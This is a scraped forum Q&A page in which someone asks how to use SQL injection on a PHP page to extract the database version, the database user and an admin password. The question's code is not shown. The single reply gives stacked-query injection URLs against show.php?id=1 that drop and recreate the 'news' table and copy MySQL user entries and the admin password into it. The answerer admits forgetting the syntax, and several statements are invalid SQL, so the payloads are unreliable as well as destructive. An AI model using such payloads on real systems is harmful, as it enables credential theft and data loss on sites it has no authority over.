php - Questions about sql injection
習慣沉默
習慣沉默 2017-06-13 09:21:39
0
1
694

There is such a piece of php code

How do you finally query the database version, database user, and password content with field 1 by using a script

習慣沉默
習慣沉默

reply all(1)
習慣沉默

You know, if it were me, I might try to do this. . .
SQL injection only requires some simple principles. . .
I have forgotten all the SQL syntax. . . If the grammar is incorrect, check the grammar yourself and correct it. . .

# 获得数据库版本
show.php?id=1;drop table news; create table news(title char(1024),id int); insert into news values(select version(), 1);
show.php?id=1

# 获取数据库用户
show.php?id=1;drop table news; create table news(title char(1024), id int); select user,1 from mysql.user into news;
show.php?id=1

# 获取表admin ID为1字段password的内容
show.php?id=1;drop table news; create table news(title char(1024), id int); select password, 1 from admin where id = 1 into news;
show.php?id=1

That’s right. . Generally speaking, it’s better not to be so awesome. . .
Rename the original news. After checking all the information, delete the useless news and rename it back. . . But I forgot the rename statement. . .

Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template